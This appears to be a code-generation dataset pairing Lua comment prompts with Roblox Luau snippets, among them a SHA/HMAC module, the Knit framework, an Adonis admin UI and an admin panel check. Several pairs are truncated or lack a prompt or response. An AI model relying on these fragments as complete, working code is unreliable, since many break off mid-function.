		end

		animateTool()

	else
		toolAnim = "None"
		toolAnimTime = 0
	end
end


Prompt: -- Put this in the Head of the NPC that you want to talk.


Prompt:
--[[
	Package link auto-generated by Rotriever
]]

Response:
local PackageIndex = script.Parent._Index

local Package = require(PackageIndex["Cryo"]["Cryo"])

return Package


Prompt: --// Events

Response:
local L_22_ = L_5_:WaitForChild('TurnOff')
local L_23_ = L_5_:WaitForChild('TurnOn')
local L_24_ = L_5_:WaitForChild('DustEvent')
local L_25_ = L_5_:WaitForChild('FXEvent')
local L_26_ = L_5_:WaitForChild('HitEvent')
local L_27_ = L_5_:WaitForChild('DamageEvent')
local L_28_ = L_5_:WaitForChild('CreateOwner')


Prompt:
--MODES NOT USED: All turns --
--"Signal1a or Signal2a" are NOT mandatory

Response:
	--Signal1 works well for both directions
	--Signal2 works well for both directions


Response:
local EngineOn = false
local Selected = false
local LockedCam = true
local LowestPoint = 0
local DesiredSpeed = 0
local CurrentSpeed = 0
local TrueAirSpeed = 0
local Throttle = 0
local HugeVector = Vector3.new(math.huge,math.huge,math.huge)


Prompt: -- Update 02.14.20 - added AsBinary for easy GameAnalytics replacement.

Response:
local function hmac(hash_func, key, message, AsBinary)
	-- Create an instance (private objects for current calculation)
	local block_size = block_size_for_HMAC[hash_func]
	if not block_size then
		error("Unknown hash function", 2)
	end

	local KeyLength = #key
	if KeyLength > block_size then
		key = string.gsub(hash_func(key), "%x%x", HexToBinFunction)
		KeyLength = #key
	end

	local append = hash_func()(string.gsub(key, ".", function(c)
		return string.char(bit32_bxor(string.byte(c), 0x36))
	end) .. string.rep("6", block_size - KeyLength)) -- 6 = string.char(0x36)

	local result

	local function partial(message_part)
		if not message_part then
			result = result or hash_func(
				string.gsub(key, ".", function(c)
					return string.char(bit32_bxor(string.byte(c), 0x5c))
				end) .. string.rep("\\", block_size - KeyLength) -- \ = string.char(0x5c)
				.. (string.gsub(append(), "%x%x", HexToBinFunction))
			)

			return result
		elseif result then
			error("Adding more chunks is not allowed after receiving the result", 2)
		else
			append(message_part)
			return partial
		end
	end

	if message then
		-- Actually perform calculations and return the HMAC of a message
		local FinalMessage = partial(message)()
		return AsBinary and (string.gsub(FinalMessage, "%x%x", BinaryStringMap)) or FinalMessage
	else
		-- Return function for chunk-by-chunk loading of a message
		-- User should feed every chunk of the message as single argument to this function and finally get HMAC by invoking this function without an argument
		return partial
	end
end

local sha = {
	md5 = md5,
	sha1 = sha1,
	-- SHA2 hash functions:
	sha224 = function(message)
		return sha256ext(224, message)
	end;

	sha256 = function(message)
		return sha256ext(256, message)
	end;

	sha512_224 = function(message)
		return sha512ext(224, message)
	end;

	sha512_256 = function(message)
		return sha512ext(256, message)
	end;

	sha384 = function(message)
		return sha512ext(384, message)
	end;

	sha512 = function(message)
		return sha512ext(512, message)
	end;

	-- SHA3 hash functions:
	sha3_224 = function(message)
		return keccak((1600 - 2 * 224) / 8, 224 / 8, false, message)
	end;

	sha3_256 = function(message)
		return keccak((1600 - 2 * 256) / 8, 256 / 8, false, message)
	end;

	sha3_384 = function(message)
		return keccak((1600 - 2 * 384) / 8, 384 / 8, false, message)
	end;

	sha3_512 = function(message)
		return keccak((1600 - 2 * 512) / 8, 512 / 8, false, message)
	end;

	shake128 = function(message, digest_size_in_bytes)
		return keccak((1600 - 2 * 128) / 8, digest_size_in_bytes, true, message)
	end;

	shake256 = function(message, digest_size_in_bytes)
		return keccak((1600 - 2 * 256) / 8, digest_size_in_bytes, true, message)
	end;

	-- misc utilities:
	hmac = hmac; -- HMAC(hash_func, key, message) is applicable to any hash function from this module except SHAKE*
	hex_to_bin = hex2bin; -- converts hexadecimal representation to binary string
	base64_to_bin = base642bin; -- converts base64 representation to binary string
	bin_to_base64 = bin2base64; -- converts binary string to base64 representation
	base64_encode = Base64.Encode;
	base64_decode = Base64.Decode;
}

block_size_for_HMAC = {
	[sha.md5] = 64;
	[sha.sha1] = 64;
	[sha.sha224] = 64;
	[sha.sha256] = 64;
	[sha.sha512_224] = 128;
	[sha.sha512_256] = 128;
	[sha.sha384] = 128;
	[sha.sha512] = 128;
	[sha.sha3_224] = (1600 - 2 * 224) / 8;
	[sha.sha3_256] = (1600 - 2 * 256) / 8;
	[sha.sha3_384] = (1600 - 2 * 384) / 8;
	[sha.sha3_512] = (1600 - 2 * 512) / 8;
}

return sha


Prompt: --The button

Response:
script.Parent.Button.ClickDetector.MouseClick:connect(function(click)

if not (on) then on = true--On
    script.Parent.Cover1.Transparency = 1
    script.Parent.Cover2.Transparency = 1
    script.Parent.Cover1.CanCollide = false
    script.Parent.Cover2.CanCollide = false
elseif (on) then on = false --Off
    script.Parent.Cover1.Transparency = 0
    script.Parent.Cover2.Transparency = 0
    script.Parent.Cover1.CanCollide = true
    script.Parent.Cover2.CanCollide = true
    end
end)


Prompt: -- Runs when player dies or leaves. If one player is left, fires the end round

Response:
local function checkPlayerCount()
	if #activePlayers == 1 then
		roundEnd:Fire()
	end
end

local function removeActivePlayer(player)
	for playerKey, whichPlayer in pairs(activePlayers) do
		if whichPlayer == player then
			table.remove(activePlayers, playerKey)
			-- REMINDER: Make sure status updates before the checkPlayerCount. If not, value changed will overwrite the Winner status text.
			playersLeft.Value = #activePlayers
			checkPlayerCount()
			return
		end
	end
end

local function setPlayerCollisionGroup(player)
	local character = player.Character

	if not character then
		character = player.CharacterAdded:wait()
	end


Prompt: --Don't Change

Response:
local MarketplaceService = game:GetService("MarketplaceService");
local Players = game:GetService("Players");

local Player = Players.LocalPlayer

script.Parent.FocusLost:connect(function()
	if not Player then
		return
	end
	local BundleID = tonumber(script.Parent.Text);
	if not BundleID then
		return
	end
	if not require(script.ModuleScript)(BundleID) then
		return
	end
	pcall(function()
		MarketplaceService:PromptBundlePurchase(Player,BundleID)
	end)
end)


Prompt:
--[[

	Knit.CreateService(service): Service
	Knit.AddServices(folder): Service[]
	Knit.AddServicesDeep(folder): Service[]
	Knit.Start(): Promise<void>
	Knit.OnStart(): Promise<void>

--]]

Response:
local KnitServer = {}

KnitServer.Version = script.Parent.Version.Value
KnitServer.Services = {}
KnitServer.Util = script.Parent.Util

local knitRepServiceFolder = Instance.new("Folder")
knitRepServiceFolder.Name = "Services"

local Promise = require(KnitServer.Util.Promise)
local Thread = require(KnitServer.Util.Thread)
local Signal = require(KnitServer.Util.Signal)
local Loader = require(KnitServer.Util.Loader)
local Ser = require(KnitServer.Util.Ser)
local RemoteSignal = require(KnitServer.Util.Remote.RemoteSignal)
local RemoteProperty = require(KnitServer.Util.Remote.RemoteProperty)
local TableUtil = require(KnitServer.Util.TableUtil)

local started = false
local startedComplete = false
local onStartedComplete = Instance.new("BindableEvent")

local function CreateRepFolder(serviceName)
	local folder = Instance.new("Folder")
	folder.Name = serviceName
	return folder
end

local function GetFolderOrCreate(parent, name)
	local f = parent:FindFirstChild(name)
	if not f then
		f = Instance.new("Folder")
		f.Name = name
		f.Parent = parent
	end
	return f
end

local function AddToRepFolder(service, remoteObj, folderOverride)
	if folderOverride then
		remoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, folderOverride)
	elseif (remoteObj:IsA("RemoteFunction")) then
		remoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, "RF")
	elseif (remoteObj:IsA("RemoteEvent")) then
		remoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, "RE")
	elseif (remoteObj:IsA("ValueBase")) then
		remoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, "RP")
	else
		error("Invalid rep object: " .. remoteObj.ClassName)
	end
	if not service._knit_rep_folder.Parent then
		service._knit_rep_folder.Parent = knitRepServiceFolder
	end
end

function KnitServer.IsService(object)
	return type(object) == "table" and object._knit_is_service == true
end

function KnitServer.CreateService(service)
	assert(type(service) == "table", "Service must be a table; got " .. type(service))
	assert(type(service.Name) == "string", "Service.Name must be a string; got " .. type(service.Name))
	assert(#service.Name > 0, "Service.Name must be a non-empty string")
	assert(KnitServer.Services[service.Name] == nil, "Service \"" .. service.Name .. "\" already exists")
	TableUtil.Extend(service, {
		_knit_is_service = true,
		_knit_rf = {},
		_knit_re = {},
		_knit_rp = {},
		_knit_rep_folder = CreateRepFolder(service.Name),
	})
	if (type(service.Client) ~= "table") then
		service.Client = { Server = service }
	else
		if (service.Client.Server ~= service) then
			service.Client.Server = service
		end
	end
	KnitServer.Services[service.Name] = service
	return service
end

function KnitServer.AddServices(folder)
	return Loader.LoadChildren(folder)
end

function KnitServer.AddServicesDeep(folder)
	return Loader.LoadDescendants(folder)
end

function KnitServer.BindRemoteEvent(service, eventName, remoteEvent)
	assert(service._knit_re[eventName] == nil, "RemoteEvent \"" .. eventName .. "\" already exists")
	local re = remoteEvent._remote
	re.Name = eventName
	service._knit_re[eventName] = re
	AddToRepFolder(service, re)
end

function KnitServer.BindRemoteFunction(service, funcName, func)
	assert(service._knit_rf[funcName] == nil, "RemoteFunction \"" .. funcName .. "\" already exists")
	local rf = Instance.new("RemoteFunction")
	rf.Name = funcName
	service._knit_rf[funcName] = rf
	AddToRepFolder(service, rf)
	function rf.OnServerInvoke(...)
		return Ser.SerializeArgsAndUnpack(func(service.Client, Ser.DeserializeArgsAndUnpack(...)))
	end
end

function KnitServer.BindRemoteProperty(service, propName, prop)
	assert(service._knit_rp[propName] == nil, "RemoteProperty \"" .. propName .. "\" already exists")
	prop._object.Name = propName
	service._knit_rp[propName] = prop
	AddToRepFolder(service, prop._object, "RP")
end

function KnitServer.Start()

	if started then
		return Promise.Reject("Knit already started")
	end

	started = true

	local services = KnitServer.Services

	return Promise.new(function(resolve)

		-- Bind remotes:
		for _, service in pairs(services) do
			for k, v in pairs(service.Client) do
				if (type(v) == "function") then
					KnitServer.BindRemoteFunction(service, k, v)
				elseif (RemoteSignal.Is(v)) then
					KnitServer.BindRemoteEvent(service, k, v)
				elseif (RemoteProperty.Is(v)) then
					KnitServer.BindRemoteProperty(service, k, v)
				elseif (Signal.Is(v)) then
					warn(
						"Found Signal instead of RemoteSignal (Knit.Util.RemoteSignal). Please change to RemoteSignal. ["
							.. service.Name
							.. ".Client."
							.. k
							.. "]"
					)
				end
			end
		end

		-- Init:
		local promisesInitServices = {}
		for _, service in pairs(services) do
			if (type(service.KnitInit) == "function") then
				table.insert(
					promisesInitServices,
					Promise.new(function(r)
						service:KnitInit()
						r()
					end)
				)
			end
		end

		resolve(Promise.All(promisesInitServices))

	end):Then(function()

		-- Start:
		for _, service in pairs(services) do
			if (type(service.KnitStart) == "function") then
				Thread.SpawnNow(service.KnitStart, service)
			end
		end

		startedComplete = true
		onStartedComplete:Fire()

		Thread.Spawn(function()
			onStartedComplete:Destroy()
		end)

		-- Expose service remotes to everyone:
		knitRepServiceFolder.Parent = script.Parent

	end)

end

function KnitServer.OnStart()
	if startedComplete then
		return Promise.Resolve()
	else
		return Promise.new(function(resolve)
			if startedComplete then
				resolve()
				return
			end
			onStartedComplete.Event:Wait()
			resolve()
		end)
	end
end

return KnitServer


Prompt: --------------------) Settings

Response:
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 0.5 -- cooldown for use of the tool again

BoneModelName = "Nightmare bones rain" -- name the zone model

HumanoidName = "Humanoid"-- the name of player or mob u want to damage


Prompt: --Modules

Response:
local internalserver: any = require(ReplicatedStorage:WaitForChild("Systems").InternalSystem.internalserver)

local Nevermore: any = require(ReplicatedStorage.Nevermore)
Nevermore("Octree")


Prompt: -- Functions

Response:
Index = function(proxy, index)
	local metatable = getmetatable(proxy)
	local public = metatable.__public[index]
	return if public == nil then metatable.__shared[index] else public
end

NewIndex = function(proxy, index, value)
	local metatable = getmetatable(proxy)
	local set = metatable.__set[index]
	if set == nil then
		metatable.__public[index] = value
	elseif set == false then
		error("Attempt to modify a readonly value", 2)
	else
		set(proxy, metatable, value)
	end
end

return table.freeze(Constructor) :: Constructor


Prompt: --// All global vars will be wiped/replaced except script

Response:
return function(data)
	local playergui   = service.PlayerGui
	local localplayer = service.Players.LocalPlayer
	local gui     = script.Parent.Parent
	local openTab = data.Tab

	local drag  = gui.Drag
	local frame = gui.Drag.Frame
	local main  = gui.Drag.Frame.Main
	local title = gui.Drag.Frame.Title
	local entry = gui.Entry
	local desc  = gui.Desc

	local donateTab   = gui.Drag.Frame.Main.Donate
	local infoTab     = gui.Drag.Frame.Main.Info
	local keybindsTab = gui.Drag.Frame.Main.Keybinds
	local clientTab   = gui.Drag.Frame.Main.Client
	local settingsTab = gui.Drag.Frame.Main.Settings

	local close    = gui.Drag.Frame.Close
	local donate   = gui.Drag.Frame.DonateTab
	local info	   = gui.Drag.Frame.InfoTab
	local keybinds = gui.Drag.Frame.KeybindsTab
	local clientb  = gui.Drag.Frame.ClientTab
	local settings = gui.Drag.Frame.SettingsTab

	local colorBut  = gui.Color
	local stringBut = gui.String
	local tableBut  = gui.Table
	local toggleBut = gui.Toggle

	local playerData = client.Remote.Get("PlayerData")
	local setts 	 = client.Remote.Get("Setting",{"Prefix","SpecialPrefix","BatchKey","AnyPrefix"})

	settings.Visible = false

	gTable:Ready()
	drag.Position = UDim2.new(0,-500, 0.5, -200)
	drag:TweenPosition(UDim2.new(0.5, -190, 0.5, -200),nil,nil,0.5)

	local function Expand(ent, point)
		ent.MouseLeave:connect(function(x,y)
			point.Visible = false
		end)

		ent.MouseMoved:connect(function(x,y)
			point.Label.Text = ent.Desc.Value
			point.Size = UDim2.new(0, 10000, 0, 10000)
			local bounds = point.Label.TextBounds.X
			local rows = math.floor(bounds/500)
			rows = rows+1
			if rows<1 then rows = 1 end
			local newx = 500
			if bounds<500 then newx = bounds end
			point.Visible = true
			point.Size = UDim2.new(0, newx+5, 0, (rows*20)+5)
			point.Position = UDim2.new(0, x, 0, y-40-((rows*20)+5))
		end)
	end

	local function sortedPairs(t, f)
		local a = {}
		for n,b in pairs(t) do table.insert(a, n) end
		table.sort(a, f)
		local i = 0
		local iter = function ()
			i = i + 1
			if a[i] == nil then
				return nil
			else
				return a[i], t[a[i]]
			end
		end
		return iter
	end

	local function openInfo()
		donateTab.Visible=false
		infoTab.Visible=true
		keybindsTab.Visible=false
		clientTab.Visible=false
		settingsTab.Visible=false
		donate.BackgroundTransparency=0.7
		info.BackgroundTransparency=0
		keybinds.BackgroundTransparency=0.7
		clientb.BackgroundTransparency=0.7
		settings.BackgroundTransparency=0.7
	end

	local function openDonate()
		donateTab.Visible=true
		infoTab.Visible=false
		keybindsTab.Visible=false
		clientTab.Visible=false
		settingsTab.Visible=false
		donate.BackgroundTransparency=0
		info.BackgroundTransparency=0.7
		keybinds.BackgroundTransparency=0.7
		clientb.BackgroundTransparency=0.7
		settings.BackgroundTransparency=0.7
	end

	local function openKeybinds()
		donateTab.Visible=false
		infoTab.Visible=false
		keybindsTab.Visible=true
		clientTab.Visible=false
		settingsTab.Visible=false
		donate.BackgroundTransparency=0.7
		info.BackgroundTransparency=0.7
		keybinds.BackgroundTransparency=0
		clientb.BackgroundTransparency=0.7
		settings.BackgroundTransparency=0.7
	end

	local function openClient()
		donateTab.Visible=false
		infoTab.Visible=false
		keybindsTab.Visible=false
		clientTab.Visible=true
		settingsTab.Visible=false
		donate.BackgroundTransparency=0.7
		info.BackgroundTransparency=0.7
		keybinds.BackgroundTransparency=0.7
		clientb.BackgroundTransparency=0
		settings.BackgroundTransparency=0.7
	end

	local function openSettings()
		donateTab.Visible=false
		infoTab.Visible=false
		keybindsTab.Visible=false
		clientTab.Visible=false
		settingsTab.Visible=true
		donate.BackgroundTransparency=0.7
		info.BackgroundTransparency=0.7
		keybinds.BackgroundTransparency=0.7
		clientb.BackgroundTransparency=0.7
		settings.BackgroundTransparency=0
	end

	if openTab then
		if string.lower(openTab)=="info" then
			openInfo()
		elseif string.lower(openTab)=="donate" then
			openDonate()
		elseif string.lower(openTab)=="keybinds" then
			openKeybinds()
		elseif string.lower(openTab)=="client" then
			openClient()
		elseif string.lower(openTab)=="settings" then
			openSettings()
		end
	else
		openInfo()
	end

	close.MouseButton1Click:connect(function()
		drag.Draggable = false
		drag:TweenPosition(UDim2.new(0,-500, drag.Position.Y.Scale, drag.Position.Y.Offset), nil, nil, 0.5)
		wait(1)
		gui:Destroy()
	end)

	donate.MouseButton1Click:connect(function()
		openDonate()
	end)

	info.MouseButton1Click:connect(function()
		openInfo()
	end)

	keybinds.MouseButton1Click:connect(function()
		openKeybinds()
	end)

	clientb.MouseButton1Click:connect(function()
		openClient()
	end)

	settings.MouseButton1Click:connect(function()
		openSettings()
	end)

	local prefix = setts.Prefix or ":"
	local specialPrefix = setts.SpecialPrefix or ""
	local batchKey = setts.BatchKey or "|"
	local anyPrefix = setts.AnyPrefix or "!"

	if not gui.Parent then return end

	-- Info tab

	local getScript = infoTab.GetScript
	local showCommands = infoTab.Cmds
	local donateBtn = infoTab.Donate
	local credit = infoTab.Credit
	local usageBtn = infoTab.Usage

	showCommands.MouseButton1Click:connect(function()
		client.Remote.Send("ProcessCommand",prefix.."cmds")
	end)

	getScript.MouseButton1Click:connect(function()
		client.Remote.Send('ProcessCommand',anyPrefix..'getscript')
	end)

	donateBtn.MouseButton1Click:connect(function()
		openDonate()
	end)

	credit.MouseButton1Click:connect(function()
		client.Remote.Send('ProcessCommand',anyPrefix..'credit')
	end)

	usageBtn.MouseButton1Click:connect(function()
		client.Remote.Send("ProcessCommand",anyPrefix.."usage")
	end)

	--[[
	local num=0
	for i,v in pairs(usage) do
		local NewClone = entry:clone()
		NewClone.Parent = Commands
		NewClone.Position = UDim2.new(0, 0, 0, num*20)
		NewClone.Text=v
		NewClone.Desc.Value=v
		NewClone.Visible=true
		Expand(NewClone, desc)
		num = num +1
		Commands.CanvasSize = UDim2.new(0, 0, (num+1)/20, 0)
	end
	--]]

	-- Client Settings

	local cliScroller = clientTab.Scroll
	local cliSettings = {
		{
			Text = "Keybinds: ";
			Desc = "- Enabled/Disables Keybinds";
			Entry = toggleBut;
			Setting = "KeybindsEnabled";
			Function = function(clone)
				local toggle = clone.TextButton
				local keyDebounce = false
				toggle.MouseButton1Click:connect(function()
					if not keyDebounce then
						if client.Variables.KeybindsEnabled then
							client.Variables.KeybindsEnabled = false
							toggle.Text = "Disabled"
						else
							client.Variables.KeybindsEnabled = true
							toggle.Text = "Enabled"
						end
						local text = toggle.Text
						toggle.Text = "Saving.."
						client.Remote.Get("UpdateClient","KeybindsEnabled",client.Variables.KeybindsEnabled)
						toggle.Text = text
						keyDebounce = false
					end
				end)

				if client.Variables.KeybindsEnabled then
					toggle.Text = "Enabled"
				else
					toggle.Text = "Disabled"
				end
			end
		};
		{
			Text = "UI Keep Alive: ";
			Desc = "- Prevents Adonis UI deletion on death";
			Entry = toggleBut;
			Setting = "UIKeepAlive";
			Function = function(clone)
				local toggle = clone.TextButton
				local keepDebounce = false
				toggle.MouseButton1Click:connect(function()
					if not keepDebounce then
						if client.Variables.UIKeepAlive then
							client.Variables.UIKeepAlive = false
							toggle.Text = "Disabled"
						else
							client.Variables.UIKeepAlive = true
							toggle.Text = "Enabled"
						end
						local text = toggle.Text
						toggle.Text = "Saving.."
						client.Remote.Get("UpdateClient","UIKeepAlive",client.Variables.UIKeepAlive)
						toggle.Text = text
						keepDebounce = false
					end
				end)

				if client.Variables.UIKeepAlive then
					toggle.Text = "Enabled"
				else
					toggle.Text = "Disabled"
				end
			end
		};
		{
			Text = "Particle Effects: ";
			Desc = "- Enables/Disables certain Adonis made effects like sparkles";
			Entry = toggleBut;
			Setting = "ParticlesEnabled";
			Function = function(clone)
				local toggle = clone.TextButton
				local effectDebounce = false
				toggle.MouseButton1Click:connect(function()
					if not effectDebounce then
						if client.Variables.ParticlesEnabled then
							client.Variables.ParticlesEnabled = false
							client.Functions.EnableParticles(false)
							toggle.Text = "Disabled"
						else
							client.Variables.ParticlesEnabled = true
							client.Functions.EnableParticles(true)
							toggle.Text = "Enabled"
						end
						local text = toggle.Text
						toggle.Text = "Saving.."
						client.Remote.Get("UpdateClient","ParticlesEnabled",client.Variables.ParticlesEnabled)
						toggle.Text = text
						effectDebounce = false
					end
				end)

				if client.Variables.ParticlesEnabled then
					toggle.Text = "Enabled"
				else
					toggle.Text = "Disabled"
				end
			end
		};
		{
			Text = "Capes: ";
			Desc = "- Allows you to disable all player capes locally";
			Entry = toggleBut;
			Setting = "CapesEnabled";
			Function = function(clone)
				local toggle = clone.TextButton
				local capeCDebounce = false
				toggle.MouseButton1Click:connect(function()
					if not capeCDebounce then
						capeCDebounce = true
						if client.Variables.CapesEnabled then
							toggle.Text = "Disabled"
							client.Variables.CapesEnabled = false
							client.Functions.HideCapes(true)
						else
							toggle.Text = "Enabled"
							client.Variables.CapesEnabled = true
							client.Functions.HideCapes(false)
						end
						local text = toggle.Text
						toggle.Text = "Saving.."
						client.Remote.Get("UpdateClient","CapesEnabled",client.Variables.CapesEnabled)
						toggle.Text = text
						capeCDebounce = false
						if client.Variables.CapesEnabled then
							client.Functions.MoveCapes()
						else
							service.StopLoop("CapeMover")
						end
					end
				end)

				if client.Variables.CapesEnabled then
					toggle.Text = "Enabled"
				else
					toggle.Text = "Disabled"
				end
			end
		};
		{
			Text = "Console Key: ";
			Desc = "Key used to open the console";
			Entry = toggleBut;
			Setting = "CustomConsoleKey";
			Function = function(clone)
				local toggle = clone.TextButton
				local debounce = false
				toggle.Text = client.Variables.CustomConsoleKey or client.Remote.Get("Setting","ConsoleKeyCode")
				toggle.MouseButton1Click:connect(function()
					if not debounce then
						local gotKey
						debounce = true
						toggle.Text = "Waiting..."
						local event = service.UserInputService.InputBegan:connect(function(InputObject)
							local textbox = service.UserInputService:GetFocusedTextBox()
							if not (textbox) and rawequal(InputObject.UserInputType, Enum.UserInputType.Keyboard) then
								gotKey = InputObject.KeyCode.Name
							end
						end)

						repeat wait() until gotKey

						client.Variables.CustomConsoleKey = gotKey
						event:Disconnect()
						toggle.Text = "Saving.."
						client.Remote.Get("UpdateClient","CustomConsoleKey",client.Variables.CustomConsoleKey)
						toggle.Text = gotKey
						debounce = false
					end
				end)
			end
		};
		{
			Text = "Theme: ";
			Desc = "- Allows you to set the Adonis UI theme";
			Entry = gui.Theme;
			Setting = "CustomTheme";
			Function = function(clone)
				local toggle = clone.TextButton
				local themePicker = gui.ThemePicker
				local themeFrame = themePicker.Frame
				local themeEnt = themePicker.Entry
				local function showThemes()
					themeFrame:ClearAllChildren()

					local themes = {"Reset"}
					local num = 0

					for i,v in pairs(client.Deps.UI:GetChildren()) do
						table.insert(themes,v.Name)
					end

					for i,v in pairs(themes) do
						local new = themeEnt:Clone()
						new.Text = v
						new.Position = UDim2.new(0,0,0,20*num)
						new.Parent = themeFrame
						new.Visible = true
						new.MouseButton1Click:connect(function()
							service.Debounce("ClientSelectingTheme",function()
								themePicker.Visible = false
								toggle.Text = v
								client.Variables.CustomTheme = v
								if v == "Reset" then
									client.Remote.Get("UpdateClient","CustomTheme",nil)
								else
									client.Remote.Get("UpdateClient","CustomTheme",v)
								end
							end)
						end)
						num = num+1
					end

					themePicker.Position = UDim2.new(0,toggle.AbsolutePosition.X, 0, toggle.AbsolutePosition.Y)
					themePicker.Visible = true
				end

				toggle.MouseButton1Click:connect(function()
					service.Debounce("ClientDisplayThemes",function()
						if themePicker.Visible then
							themePicker.Visible = false
						else
							showThemes()
						end
					end)
				end)

				if client.Variables.CustomTheme then
					toggle.Text = client.Variables.CustomTheme
				else
					toggle.Text = "Reset"
				end
			end
		}
	}

	cliScroller:ClearAllChildren()
	local num = 0
	for i,tab in next,cliSettings do
		local clone = tab.Entry:Clone()
		local desc  = entry:Clone()

		clone.Text = tab.Text
		desc.Text  = tab.Desc

		clone.Position = UDim2.new(0,0,0,num*20)
		desc.Position  = UDim2.new(0,0,0,(num+1)*20)

		clone.Visible = true
		desc.Visible  = true

		desc.Font       = clone.Font
		desc.FontSize   = clone.FontSize
		desc.TextSize   = clone.TextSize
		desc.TextScaled = false

		clone.Parent = cliScroller
		desc.Parent  = cliScroller

		tab.Function(clone)

		num = num+2
	end

	cliScroller.CanvasSize = UDim2.new(0,0,0,num*20)

	-- Donate tab

	local donorEnabled = client.Remote.Get("Setting","DonorCommands")
	local pass = client.Remote.Get("Variable","DonorPass")

	if not 	gui.Parent then return end

	local capeTexture  = donateTab.Texture
	local capeColor    = donateTab.CapeColor
	local capeToggle   = donateTab.CapeToggle
	local capeMaterial = donateTab.Material
	local perksEnabled = donateTab.Enabled
	local Perks        = donateTab.Perks

	local robux     = donateTab.Robux
	local tickets   = donateTab.Tickets
	local extra     = donateTab.Extra
	local status    = donateTab.Status
	local extraPane = donateTab.ExtraPane

	local colorPicker    = capeColor.ColorPicker
	local materialPicker = capeMaterial.MaterialPicker
	local texturePicker  = capeTexture.TexturePicker
	local color  = colorPicker.Frame.Color
	local blue   = colorPicker.Frame.B
	local green  = colorPicker.Frame.G
	local red    = colorPicker.Frame.R
	local confirmColor = colorPicker.Frame.Confirm
	local cancelColor  = colorPicker.Frame.Cancel

	local donorData       = playerData.Donor
	local currentMaterial = donorData and donorData.Cape.Material
	local currentTexture  = donorData and donorData.Cape.Image
	local currentColor    = donorData and donorData.Cape.Color

	if donorEnabled then
		perksEnabled.Text = "Donor Commands: Enabled"
	else
		perksEnabled.Text = "Donor Commands: Disabled"
	end

	if type(currentColor)=="table" then
		currentColor = Color3.new(currentColor[1],currentColor[2],currentColor[3])
	else
		currentColor = BrickColor.new(donorData.Cape.Color).Color
	end

	capeColor.BackgroundColor3 	= currentColor
	capeTexture.Text 	= currentTexture
	capeMaterial.Text 	= currentMaterial

	if playerData.Donor.Enabled then
		capeToggle.Text = "Enabled"
	else
		capeToggle.Text = "Disabled"
	end

	-- Perks
	local perkstab = {
		"If Enabled: ";
		"Customizable Cape";
		"Access to !cape";
		"Access to !uncape";
		"";
		--"Donor Gear (If enabled. Default Bongos)";
		"Access to !sparkles <Color>";
		"Access to !unsparkles";
		"Access to !particle";
		"Access to !unparticle";
		"Access to !fire <Color>";
		"Access to !unfire";
		"Access to !light <Color>";
		"Access to !unlight";
		"Access to !hat <ID>";
		"Access to !removehats";
		--"Access to !piano";
		"Access to !face";
		"Access to !shirt";
		"Access to !pants";
	}

	local num = 0
	for i,v in pairs(perkstab) do
		local NewClone = entry:clone()
		NewClone.Parent = Perks
		NewClone.Position = UDim2.new(0, 0, 0, num*20)
		NewClone.Text = v
		NewClone.Desc.Value = v
		NewClone.Visible = true
		NewClone.ZIndex = 10
		--Expand(NewClone, desc)
		num = num +1
	end
	Perks.CanvasSize = UDim2.new(0, 0, 0, num*20)

	local num=0
	--FadeIn(0,0.5, cmf, top, NewClone, Hide, main)
	local donations = {
		{Price="10",ID=304651585};
		{Price="50",ID=304651782};
		{Price="100",ID=304651828};
		{Price="250",ID=304651879};
		{Price="500",ID=304651926};
		{Price="750",ID=304651990};
		{Price="1000",ID=304652066};
		{Price="2500",ID=304652168};
		{Price="5000",ID=304652233};
		{Price="7500",ID=304652294};
		{Price="10000",ID=304652425};
		{Price="50000",ID=304652516};
		{Price="100000",ID=304652569};--?????
	}
	for i,v in pairs(donations) do
		local cl = entry:clone()
		cl.Visible = true
		Expand(cl,desc)
		cl.Parent = extraPane
		cl.Visible = true
		cl.Text = v.Price
		cl.Desc.Value="Extra donation options. THIS DOES NOT GIVE PERKS!"
		cl.Position = UDim2.new(0,0,0,num*20)
		local rb = Instance.new("TextButton", cl)
		rb.Style = "Custom"
		rb.Size = UDim2.new(0,35,1,0)
		rb.TextScaled=true
		rb.Position = UDim2.new(1,-40,0,0)
		rb.ZIndex = 2
		rb.Font = "Arial"
		rb.FontSize = "Size18"
		rb.Text = "RB"
		rb.BackgroundColor3=Color3.new(0,170/255,0)
		rb.BorderSizePixel=0
		rb.TextColor3=Color3.new(1,1,1)
		rb.BackgroundTransparency=0.5
		rb.MouseButton1Click:connect(function()
			service.MarketPlace:PromptPurchase(localplayer,v.ID)
		end)


Prompt:
--[[ Hello this gose in 'startergui' and this is to disable
	the player list so you don't have to worry about problems
	there's no local's for this script so nobody really thinks its bad!
--]]


Prompt: -- (Hat Giver Script - Loaded.)

Response:
debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
		debounce = false
		h = Instance.new("Hat")
		p = Instance.new("Part")
		h.Name = "GreenTopHat"
		p.Parent = h
		p.Position = hit.Parent:findFirstChild("Head").Position
		p.Name = "Handle"
		p.formFactor = 0
		p.Size = Vector3.new(0,-0.25,0)
		p.BottomSurface = 0
		p.TopSurface = 0
		p.Locked = true
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0,-0.30,-0)
		wait(5)
		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)


Prompt: --Updates the mouse icon.

Response:
local function UpdateIcon()
	if CurrentMouse and Equipped then
		CurrentMouse.Icon = Tool.Enabled and "rbxasset://textures/GunCursor.png" or "rbxasset://textures/GunWaitCursor.png"
	end
end


Prompt: --Check if player has access to panel, and copy the appropriate version to their PlayerGUI

Response:
function givePanel(player)
	for i, v in next, _G.panelAdmins do

		if i == player.UserId then

			local kick, ban, unban, shutdown, kill, broadcast = false, false, false, false, false, false

			for s in string.gmatch(v, "%a+") do
				if s == "kick" then
					kick = true
				elseif s == "ban" then
					ban = true
				elseif s == "unban" then
					unban = true
				elseif s == "shutdown" then
					shutdown = true
				elseif s == "kill" then
					kill = true
				elseif s == "broadcast" then
					broadcast = true
				end
			end

			local panel = script.AdminPanelGui:Clone()

			if not kick then
				panel.MenuFrame.KickPlayer:Destroy()
				panel.KickMenuFrame:Destroy()
				panel.Events.KickFunction:Destroy()
			end

			if not ban then
				panel.MenuFrame.BanPlayer:Destroy()
				panel.BanMenuFrame:Destroy()
				panel.Events.BanFunction:Destroy()
			end

